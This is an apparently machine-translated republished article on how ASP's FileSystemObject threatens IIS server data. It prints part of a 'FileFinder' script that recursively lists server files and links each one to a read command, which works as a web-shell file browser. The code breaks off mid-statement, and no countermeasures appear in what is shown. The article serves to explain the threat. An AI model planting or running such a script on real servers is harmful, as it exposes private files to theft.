The threat of FSO object in ASP to IIS Web server data security and its countermeasures
Source: Internet
Author: User
The Scripting.FileSystemObject object is one of many COM objects provided by Scrrun.dll for Vbscript/jscript control. Scripting.FileSystemObject provides a very convenient access to text files and file directories, but it also poses a threat to IIS Web server data security.
Filefinder's code is simple, consisting of 3 functions and 30 lines of sequential code.
The most critical is the FindFiles function, which iterates through its recursive invocation and searches for the files by a specific file name extension.
function FindFiles (Strstartfolder, Strext)
Dim n
Dim Othisfolder
Dim ofolders
Dim ofiles
Dim ofolder
Dim ofile
' If the system administrator carefully sets the permissions on the file system, the following code will be wrong
' But some catalogs can still be viewed, so we simply ignore the errors in the past.
On Error Resume Next
n = 0
Response.Write "<b>searching" & Strstartfolder & "</b><br>"
Set othisfolder = G_fs.getfolder (Strstartfolder)
Set ofiles = Othisfolder.files
For each ofile in Ofiles
' If it is the specified file name extension, the output connection guides itself, but with a different command cmd
' Here is Cmd=read, the text file that reads the specified physical path
If Issuffix (Ofile.path, Strext) Then
Response.Write "<a target=_blank href= ' ff.asp?cmd=read&path=" & Server.HTMLEncode (Ofile.path) & "' > <font color= ' DodgerBlue ' > ' & Ofile.path & "</font></a><br>"
If Err = 0 Then
n = n + 1
End If
End If
Next
Set ofolders = Othisfolder.subfolders
For each ofolder in Ofolders
n = n + findfiles (Ofolder.path, Strext)
Next
FindFiles = n
End Function
The following code analyzes the parameters that follow the URL:
' Read the values of each parameter
Strcmd = UCase (Request.QueryString ("cmd"))
strpath = Request.QueryString ("path")
Strext = Request.QueryString ("ext")
Brawdata = UCase (Request.QueryString ("raw"))
' Default search. asp file
If strpath = "" Then
strpath = "."
End If
If Strext = "" Then
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.